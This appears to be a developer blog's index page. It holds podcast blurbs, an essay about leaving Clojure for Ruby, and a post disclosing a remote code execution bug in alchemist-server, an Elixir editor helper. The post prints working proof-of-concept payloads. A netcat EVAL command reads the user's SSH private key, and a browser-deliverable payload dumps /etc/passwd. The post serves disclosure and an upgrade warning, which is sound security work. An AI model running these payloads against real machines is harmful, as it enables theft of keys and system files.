Podcast Episode 5 - Spies and Voter Data

By Phillip Mendonça-Vieira | August 01, 2017 on Podcast, GOP, Canada, C51, Spying

Phill and Max discuss new spying powers in Canada, and the leak of GOP voter data. Produced by Katie Jensen.

You can follow along on iTunes, or subscribe directly to the feed.

Show Notes

Hacking your Elixir Editor

By Max Veytsman | July 28, 2017 on Elixir, Security

I’ve been playing with Elixir recently, and came across a remote code execution bug in the developer tools. You know, as one does.

Before we continue, a warning: if you use Vim and have ever edited Elixir files stop what you’re doing and upgrade alchemist.vim to 2.8.0. Seriously, go do it, right now.

Done? Okay, let’s take it from the top. If you want to implement nice editor support for a language, and provide things like code-completion or jump-to-definition, you need some way to introspect both the source code being edited and the language’s runtime environment to figure out what suggestions to give to your users.

There’s a package called alchemist that provides Elixir support for Emacs. It has nice features like code-completion, and jump-to-definition, and, thereofre, it understands Elixir code and can read through a project’s dependencies and stuff like that. A common pattern when writing editor plugins is to build a little background program in the language you’re targeting that can introspect the runtime and tell the editor where symbols are defined and help with code completion. Alchemist does this with alchemist-server.

Alchemist-server is also used by the Vim plugin, alchemist.vim. While Emacs talks to alchemist-server via STDIN/STDOUT, the Vim plugin uses a TCP server to process commands from Vim.

The bug

I can’t claim credit for the original bug. It was reported by Ivan Kozik back in February.

The issue is that alchemist-server accepted EVAL as a command and listened unauthenticated on all interfaces. This means that anyone in the same coffee shop as you can eval arbitrary Elixir code on your computer if they can guess the ephemeral port the server is running on.

This is really bad, and unfortunately had not been addressed since the issue was reported. I think this bug wasn’t patched immediately for three reasons:

  1. There wasn’t consensus on what the correct fix was. Do we listen on localhost only? On a socket? Sign and MAC the command? If we do that, what key do we use?
  2. The severity of the bug wasn’t made clear. While it exposed you to a remote attacker over the same network, Ivan initially thought that you would need a DNS rebinding attack to exploit the bug via a browser. This is theoretical and hard to explain, let alone pull off1.

This is a super serious bug, and I wanted to see this bug fixed as quickly as possible. I subscribe to the Church of Proof of Concept or GTFO, so it was time to demonstrate just bad this bug actually was.

The original exploit

Ivan’s original exploit takes advantage of the fact that alchemist-server uses eval-string to process arguments in several cases and it contains a EVAL command for evaluating files, probably for loading modified files into your repl environment. He sends a command that uses the eval-stringed portion to write a malicious Elixir script to a file and then executes it, with the results returned to the user.

Assuiming PORT is the ephemeral port the server is running on, his exploit looks like this:

echo 'EVAL File.write!("/tmp/payload", 
{:eval, "/tmp/payload"}' | nc PORT
  • EVAL is a command for the Elixir server.
  • File.write!("/tmp/payload", "File.read!(Path.expand(~s(~/.ssh/id_rsa)))"); is the part that’s processed by eval-string. It writes a malicious elixir script to /tmp/payload. The script itself returns the contents of the user’s ssh private key.
  • {:eval, "/tmp/payload"} tells the server to evaluate the file in which the malicious script was written.

The danger of line based protocols

I know what you’re thinking: “it’s really too bad that alchemist-server is evaling things to begin with”. And, you’re dead wrong.

It’s perfectly fine for developer tools to execute code sent to them by a user; actually, most developer tools are designed specifically to evaluate arbitrary code in one way or another. The problem is that it’s accepting code to be evaled over a TCP connection.

First, I booted up the server, and then started talking to it using netcat:

$ echo 'PING' | nc localhost 59533

$ echo "NOTAREALCOMMAND" | nc localhost 59555
# No output

$ printf "NOTAREALCOMMAND\nPING\n" | nc localhost 59609

This is where things get real bad for alchemist-server. We’re dealing with a line based protocol, and what’s more, it’s ignoring2 commands it doesn’t understand. You know what else is a line-based protocol? HTTP.

That means we can get a browser to issue a request to localhost and alchemist-server will ignore all the headers and HTTP formalities and happily execute an EVAL command if we put it on its own line.

Interestingly enough, this is a case where security considerations outweigh Postel’s Principle:

Be conservative in what you do, be liberal in what you accept from others

In this case, being liberal in what you accept leads to accepting messages from places you really shouldn’t.

Cross-origin resource sharing

We’ve established that the server will accept HTTP requests from a browser. Now the trick is to get the browser to send one. I decided to use Javascript to send an XHR so that I had a good chance of being able to process the response from the server. If I just wanted to execute some code on a victim’s machine, embedding a form or an image with the right payload would have worked too.

In order to use XHR, we need to get around Cross-Origin Resource Sharing (CORS). This is the policy that governs under what conditions a browser will make a request to a resource, and under what conditions the output will be returned back to the Javascript function that made the request. There is a default policy, and it can be changed by the server using special headers3.

The first thing that happens is that the browser decides if it can make a request. If the request contains these special headers, or uses an HTTP method other than GET, HEAD, or POST, the browser will send a preflighted request. This is an OPTIONS request that asks the server if it will accept the upcoming request.

We don’t want this, so we have to send a so-called “simple request”. A POST request with a content-type of “text/plain” and EVAL ... in the data is “simple” and not be preflighted.

The next step is getting passed the Access-Control header. By default, your browser won’t return the results of an XHR request unless it’s to the same origin as the script that’s making it, or the server has an Access-Control header that allows the script’s origin. One thing to note is that this is happening after the request is made. So, if I have some malicious code that will ransomware your computer, it will still be executed, even if the browser script that made the request won’t be able to see the response. It’s especially unimportant in the case of remote code execution, because I can exfiltrate data by having my malicious payload make a request back to me by itself.

Nevertheless, setting up a server to listen to the response requires effort, and I wanted a seamless POC. Luckily, our malicious payload’s response was going to be interpreted as a HTTP response to the browser, so all I had to do was return a string that looks like:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

The browser will now see this as a response to its XHR request.


And here’s the full payload

# Write the following script to /tmp/payload
EVAL File.write!("/tmp/payload",
  # HTTP response header
  ~S|IO.puts "HTTP/1.1 200 OK"
  # \n - encoded in a way that won't be parsed as a new line
  <> List.to_string([10])
  # CORS header
  <> "Access-Control-Allow-Origin: *"
  # \r\n\r\n - see above
  <> List.to_string([13,10,13,10])
  # Insert the contents of /etc/passwrd
  <> File.read!(Path.expand(~s(/etc/passwd)))
  # \r\n\r\n - see above
  <> List.to_string([13,10,13,10])|);
  # Execute the above script and return the result
{:eval, "/tmp/payload"}

This is what it looks like when wrapped in HTML/Javascript:

Thanks for reading, and make sure you update your alchemist-server!

  1. Case in point, the first google hit confuses for DNS rebinding confuses the attack technique with something you can do with it — using javascript to exploit default passwords on home routers from a browser. 

  2. You may have noticed, I used printf not echo in the last example so that my \ns would be rendered correctly. 

  3. If you want to learn more about other security releated headers, you can read my guide 

Podcast Episode 4 - Leakers and Phishers

Max and Phill talk about Reality Winner’s bad opsec and the huge phishing campaign unearthed by Citizenlab. Produced by Katie Jensen.

You can follow along on iTunes, or subscribe directly to the feed.

Show Notes

Podcast Episode 3 - Breitbart and Shopify

By Phillip Mendonça-Vieira | May 26, 2017 on Podcast

Here in episode 3, Max and Phill discuss, over breakfast, what Shopify should or should not do with regard to Breitbart. Produced by Katie Jensen.

You can follow along on iTunes, or subscribe directly to the feed.

Show Notes

Simple Ain't Easy, but Hard Ain't Simple: Leaving Clojure for Ruby

In November 2016, I delivered a talk at RubyConf where I told the story of how we built the first version in Appcanary in Clojure, and then threw it away.

Here is the talk:

Jump to 12:10 to start at the section where I begin to talk about my specific problems with Clojure.

But, that talk is over a half hour long, and who has time for that?

Three important ideas you should take away:

  1. If you’re starting a project where you’re really pressed for time, you should be biased towards tools you know really well. If you have a startup, you’re supposed to be solving a business problem. Don’t make your life harder than it has to be by also having to learn new tools.

  2. Avoid building a distributed system for as long as you can. They introduce a lot of expensive complexity that is hard for small teams to pay. Micro services are useful for larger teams, but the way you code and deploy your apps should be a reflection of your team’s organization and ability to coordinate.

  3. I personally found it really hard to get into Clojure. I got the sense that Clojure as a community doesn’t value “developer happiness”, and I think it should! Tools should try to make your life easier at every opportunity.

We had mentioned the talk before, but I had avoided actually posting it on this blog for two reasons:

  1. I’ve rewatched it a bunch of times and can think of a half dozen things I’d do differently now.
  2. Some people in the Clojure community got really mad.


A lot of otherwise well-meaning people looked at the talk and decided that I was a) a bit of an asshole and b) probably incompetent. So many people expressed that view that I felt compelled to ask Confreaks to turn off the comments1.

I don’t really blame them.

Developer tools do not exist in isolation; they are often only useful to the extent there is a live community surrounding them. This requires such a degree of investment that many programmers will inevitably come to integrate their favourite programming languages into a part of their identity. When some outsider comes along and criticizes your community and identity, it can be very hard to be charitable to what they have to say.

It was a good learning experience, though. I came to understand that I did not work hard enough to establish that I was coming from a place of kindness, and that my talk was not a big fuck you! to the community.

I came into the language and its environment with an open heart and invested a ton of resources into it, but, largely because of my specific context and a few mistakes we made early on, continuing to invest in Clojure didn’t make sense for us.

Further discussion

So, much to my surprise, my talk became relevant recently when some peeps in the Clojure community looked around and made an observation:

Enabled by Twitter’s recent decision to not count usernames towards character limits, this thread gained a whole life of its own. I don’t know how to do justice to the whole range of topics that were discussed; Twitter itself hasn’t quite figured out how to display threads properly.

I think some of the ideas brought up deserve a little more investigation, and so I have summarized parts of the discussion in order to address them. Here it goes:

The Thread

The hype cycle has moved away from Clojure, and the community feels like it’s shrinking - though there are many more jobs coming up.

It’s actually kinda hard to make a good business case for Clojure, since the JVM makes small tools prohibitive and, if you do like the JVM, you now have a lot of options. In theory, you should be way more productive in Clojure, but it’s hard to tell how true that is.

That said, are people actually leaving Clojure? Well, there was a talk recently on that very topic, and though it may have been written by an incompetent and mean jerk2, it makes some good points.

In the end, what is a reasonable expectation for developers new to Clojure? Lisps are a very different paradigm. Things work differently here. Developers get paid to solve or automate problems, and people waste tons of time trying to be “happy”. Clojure encourages people to reflect on their work, and aggressively pare it down. After all, simple isn’t easy!

OKAY, WOW, are you still with me? Incredible.

It’s hard for me to write about Clojureland nowadays since it’s been a whole year since I last typed lein repl, but I’m about to say something slightly hyperbolic and slightly uncharitable because it’s more memorable, so please bear with me. It’s a little over the top, but I promise I’m coming from a place of love.

Here it goes. Ready?

“Simple != Easy” Is One Of The Most Toxic Ideas Ever Introduced To Programming

For those of you outside of Clojureland, this is a reference to well-known 2011 Rich Hickey talk titled “Simple Made Easy”.

Rich’s thesis is that the best, most conceptually simple solution to a problem isn’t automatically also going to be simple to use.

Often, when we say something is easy, we actually just mean that it is familiar to us, and that we’ve used something like it before. Just because we don’t have to engage our brain doesn’t mean a concept or framework or artifact isn’t complex.

Often the simplest solution may be very different from what you were expecting, and may therefore require some elbow grease.

I thought that talk was really insightful when I first watched it. Math, for example, is a place where you can dedicate a lifetime of mental energy to simple but hard things. And it’s true that many easy things are needlessly complex. But, having seen how people refer to it over the years, I’ve since soured on the concept.

In practice, ‘Simple Made Easy’ is an elaborate excuse for making software that is hard to use.

By separating “simplicity” from “ease of use”, and then establishing the primacy of simplicity, it gives people an ideological out to discount improving the user interface of our tools and artifacts.

If your chief goal is simplicity, and beauty, and elegance, then it’s not really your fault if people don’t “get it”. It blinds us to critiques of our software: if we don’t value the accessibility of our tools then it becomes very difficult to distinguish “there are a lot of arbitrary barriers preventing my understanding” from “I’m lazy and couldn’t be bothered to try hard enough”3.

Establishing this narrow view of “simplicity” as wholly separate from “easy to use” prevents us from being able to optimize for ease-of-use, aka developer experience.

In my talk I called the Clojureland ecosystem “user-hostile”. This contrasts sharply with the community, who are by and large very sweet and personable and well-meaning.

Undoubtedly, I chafed because Clojureland tools were unfamiliar, yes. But past a certain point they were also unfriendly, because in their error messages and affordances and failure conditions they assumed a rather high tolerance for digging through code and high-level knowledge of Clojure’s concepts and idioms and runtime quirks.

So we went back to Ruby, which we knew really well.

But here is the rub: Ruby’s tooling is terrible. The interpreter is slow and finicky and it used to leak memory like a sieve. There is no static introspection, the meta programming features are basic and slow and it is trivially easy to bleed state and complect the hell out of your programs. It was great compared to Java or PHP in 2004. In 2017, the world is different.

But, do you know what Ruby really has got going for it? Ruby is designed to be fun and make programmers happy. I think this is such a dope design philosophy that I’ll go one step further:

All programming languages should strive to be fun and make programmers happy.

I think this is by far the most important contribution Ruby brought to programming, and as Ruby has stabilized and become less exciting and people have moved on, it has been incredible to ex-Rubyists bring these values with them to their new communities.

You can see this attitude in Elixir, in Rust, in Ember. Our tools should help you achieve success. Our tools should get out of the way. Our tools should Just Work.

The truth is, programming can be complex, but it is also often needlessly hard. Programmers are the end-users of programming tools, and to ignore their experience using them is just plain bad design. We should strive to be as maximally welcoming as we can, for every level of experience.

  1. I called it “abuse” elsewhere, which is maybe a bit much. People were mostly just somewhat rude. It’s just not… pleasant to have a bunch of people calling you incompetent over and over again ¯\_(ツ)_/¯. 

  2. I am exaggerating and bear no ill will ;). 

  3. By far the most common response to my talk was, but are you sure you tried hard enough? If you keep trying, you’ll get it. Just work harder at it. There’s a hidden insinuation: maybe you’re not smart enough to get it. I’d like to think that I am.